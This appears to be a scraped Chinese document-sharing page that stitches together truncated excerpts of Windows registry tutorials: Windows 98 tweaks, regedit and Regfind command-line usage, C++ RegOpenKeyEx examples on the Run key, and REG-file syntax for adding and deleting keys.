注册表修改310例 1.自动刷新 每次在窗口添加一个文件夹或删除一个对象后,须要按键对窗口 进行重新刷新,很麻烦。通过修改注册表可以达到自动刷新的目的。 点击HKEY_LOCAL_MACHINE\SYSTEM\CURRENTCONTRO LSET\CONTROL\UPDATE,修改 "UPDATEMODE"值,由"1"改为"0"。 2.修改系统版权信息 点击HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\DEVEOPER\SETUP,在其右窗口中保存着安装Windows98时产生的所有版权信息,用鼠标右键点击这些串值键可以随便修改,这样不须重新安装Windows 98就可修改系统原有的版权信息。 3.加快Windows 98启动速度 Windows98在启动时能自动加载一些程序运行,有的程序放在"开始"菜单中的启动组里,一些重要的、不须用户干涉的系统程序,则存放在注册表中。如果想加快Windows98的启动速度,可以适当地删除这些程序。在启动组中的程序可以通过"任务栏"很方便地删除。如果程序不在启动组中,则须要通过修改注册表来删除。 点击HKEY_LOCAL_MACHINE\MICROSOFT\WINDOWS\CURRENTVERSION\Run,选择右边窗口中出现的开机自启动程序,将之删除即可。 点击 HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RunServi ces,单击右边窗口中出现的开机自启动程序,将之删除。 Run和RunServices的区别是,Run中的程序是WINDOWS初始化后才运行的,而RunService中的程序是在操作系统启动时就开始运行的,也就是说RunServices中的程序先于Run中的程序运行,如电源管理程序。 4.删除"开始"菜单中的"收藏夹" "收藏夹"是为了便于访问主页而设计的,对于没上网的用户来说其用处不大,可以删除它。点击 HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\

命令行操作注册表

命令行操作注册表 本文由:xp系统下载https://www.doczj.com/doc/0f3596204.html,提供技术支持 Regedit regedit虽是gui下使用的东东但其实是有未公开的参数的可以在cmd下使用。 regedit的运行参数: REGEDIT [/L:system] [/R:user] filename1 REGEDIT [/L:system] [/R:user] /C filename2 REGEDIT [/L:system] [/R:user] /E filename3 [regpath] /L:system Specifies the location of the SYSTEM.DAT file. /R:user Specifies the location of the USER.DAT file. filename1 Specifies the file(s) to import into the regist /C filename2 Specifies the file to create the registry from. /E filename3 Specifies the file to export the registry to. regpath Specifies the starting registry key to export from. (Defaults to exporting the entire registry). /S (Windows) Silent - no message on completion. 从Windows命令行快速操作注册表 每一个熟悉Windows的人都相信,通过注册表几乎可以做到任何事情,真正的问题是怎样迅速找到正确的注册键。 绝大多数情形下,操作注册表意味着找到某个特定的子键;偶尔地,可能需要修改一下子键的名称(例如,可能要进行结构上的改动)。那么,怎样才能迅速找到正确的子键并执行修改?另外,如果你不仅要改动本地机器的注册表,而且还要对远程机器作同样的修改,该怎么办?告诉你一个好工具Regfind。 Regfind: 可以从Windows 2000 Server的Resource Kit Supplement One找到,或者从网上下载。Regfind适用于Windows的各个版本,包括Windows 9x系列。 Regfind是一个命令行工具。不带任何选项执行Regfind,它将显示出帮助信息。最简单的用法是执行查找,例如执行Regfind \"QQ\",Regfind将找出所

注册表编程

1.基础知识 注册表的组织方式跟文件目录比较相似,主要分为根键、子键和键值项三部分,与文件目录对应的话就是根目录、子目录和文件。分别介绍一下这三部分: (1)根键。分为5个,分别为HKEY_CLASSES_ROOT,HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE,HKEY_USERS和HKEY_CURRENT_CONFIG,把它们理解成磁盘的五个分区可以了。 (2)子键。可以有多个子键和键值项,就像一个目录中可以有多个子目录和多个文件一样。(3)键值项。可以理解为文件,它由三部分组成,分别为:名称、类型、数据。 类型又分为多种主要包括如下: REG_BINARY 二进制数据 REG_DWORD 32位双字节数据 REG_SZ 以0结尾的字符串 REG_DWORD_BIG_ENDIAN 高位排在底位的双字 REG_EXPAND_SZ 扩展字符串,可以加入变量如%PATH% REG_LINK UNICODE 符号链接 REG_RESOURCE_LIST 设备驱动程序资源列表 REG_MULTI_SZ 多字符串 注册表数据项的数据类型有8种,但最常用的主要是前3种。 有了这些基础下面我们讨论如何编程实现对注册表的操作。 2.打开/关闭注册表句柄 在对注册表操作前应该先打开指定的键,然后通过键的句柄进行操作,打开键句柄可以用API RegOpenKeyEx来实现,其原形如下: RegOpenKeyEx( hKey,//父键句柄 lpSubKey,//子键句柄 dwOptions,//系统保留,指定为0 samDesired,//打开权限 phkResult,//返回打开句柄 ); 其中打开权限有多种,想方便的话可以指定为KEY_ALL_ACCESS ,这样什么权限都有了,当函数执行成功时返回ERROR_SUCCESS。 其实例代码如下: HKEY key; LPCTSTR data="SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,data,0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS) ...{ /**//*需要执行的操作...*/ } ::RegCloseKey(key); 要注意的是,在使用后应该调用RegCloseKey()函数关闭句柄. 3.获取子键/键值信息 在现实的编程操作中我们常常需要获取子键/键值的信息比如:子键/键值的数量,长度,以及数据的最大长度等等,这些信息可以通过RegQueryInfoKey函数来获取。 它的原型如下:

(完整版)注册表编程设计(C++)

1.注册表基础 注册表的组织方式跟文件目录比较相似,主要分为根键、子键和键值项三部分,与文件目录对应的话就是根目录、子目录和文件。分别介绍一下这三部分: (1)根键。分为5个,分别为HKEY_CLASSES_ROOT,HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE,HKEY_USERS和HKEY_CURRENT_CONFIG,把它们理解成磁盘的五个分区可以了。 (2)子键。可以有多个子键和键值项,就像一个目录中可以有多个子目录和多个文件一样。 (3)键值项。可以理解为文件,它由三部分组成,分别为:名称、类型、数据。 类型又分为多种主要包括如下: REG_BINARY 二进制数据 REG_DWORD 32位双字节数据 REG_SZ 以0结尾的字符串 REG_DWORD_BIG_ENDIAN 高位排在底位的双字 REG_EXPAND_SZ 扩展字符串,可以加入变量如%PATH% REG_LINK UNICODE 符号链接 REG_RESOURCE_LIST 设备驱动程序资源列表 REG_MULTI_SZ 多字符串 注册表数据项的数据类型有8种,但最常用的主要是前3种。 有了这些基础下面我们讨论如何编程实现对注册表的操作。 2.打开/关闭注册表句柄 在对注册表操作前应该先打开指定的键,然后通过键的句柄进行操作,打开键句柄可以用API RegOpenKeyEx来实现,其原形如下: RegOpenKeyEx( hKey,//父键句柄 lpSubKey,//子键句柄 dwOptions,//系统保留,指定为0 samDesired,//打开权限 phkResult,//返回打开句柄 ); 其中打开权限有多种,想方便的话可以指定为KEY_ALL_ACCESS ,这样什么权限都有了,当函数执行成功时返回ERROR_SUCCESS。 其实例代码如下: HKEY key;

如何对注册表进行添加和删除键值的操作

如何对注册表进行添加和删除键值的操作 1、主键的添加与删除 必须要写清楚主键及其上层主键所在的所有层次,并用“[ ]”将这些内容括起来。如:我们要在HKEY_LOCAL_MACHINESoftware主键下添加一个名为“晨风工作室”的主键,在REG文件中应该这样描述: REGEDIT4 [HKEY_LOCAL_MACHINESoftware晨风工作室] 注意:最上面的一行“REGEDIT4”的作用是表明该文件的类型的版本,它与下面的内容之间应该有一个空行。REGEDIT4适用于所有的Windows 操作系统。但在Windows 2000/XP中,我们也可以使用“Windows Registry Editor Version 5.00”格式。 删除主键和添加主键的格式一样,不同的是这次要在用“[ ]”括起来的主键路径前面加上“-”号。注意:删除主键的同时会将该主键下所有的内容都删除。因此使用时应十分注意。以删除名为“晨风工作室”的主键为例:REGEDIT4 [-HKEY_LOCAL_MACHINESoftware晨风工作室] 2、键值的添加与删除 ①添加键值 该操作如同注册表编辑器中的“新建”命令。由于键值共有三种类型,因此在REG文件中,我们要为添加的键值确定数据类型,其格式如下:添加字符串值,则“=”号后边的内容应添加英文双引号; 添加DWORD值,“=”号后边的格式为“dword:数据”; 添加二进制值,“=”号后边的格式为“hex:数据”。

此外,我们还可用在“=”号前边加“@”符号的方法来设置默认键值(即在注册表编辑器经常看见的名为(默认)的键值。 比如我们要在“HKEY_LOCAL_MACHINESoftware晨风工作室”主键下设置默认键值为“晨风工作室”,并分别添加“地址(以上均为字符串值)”、“成员数(二进制值)”、“成员是否在同一座城市(DWORD值)”,则REG文件的内容应如下所示: REGEDIT4 [HKEY_LOCAL_MACHINESoftware晨风工作室] @="晨风工作室" "地址"="北京海淀(100038)" "成员数"=hex:7 "成员是否在同一座城市"=dword:00000000 在添加键值项目时,如果该键值所在的主键路径不存在的话,在添加键值项目的同时会自动新建该主键。 注意:很多细心的朋友可能已注意到,在“REG文件的创建”中,我们举的例子如下: REGEDIT4 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVe rsionRun] "vptray"="c:\Program Files\NavNT\vptray.exe" "PowerStrip"="d:\program files\powerstrip\pstrip.exe" 为什么我们不写作“"PowerStrip"="d:program filespowerstrippstrip.exe"呢?原因也很简单:为了与注册表中表示主键的方

相关主题
文本预览
相关文档 最新文档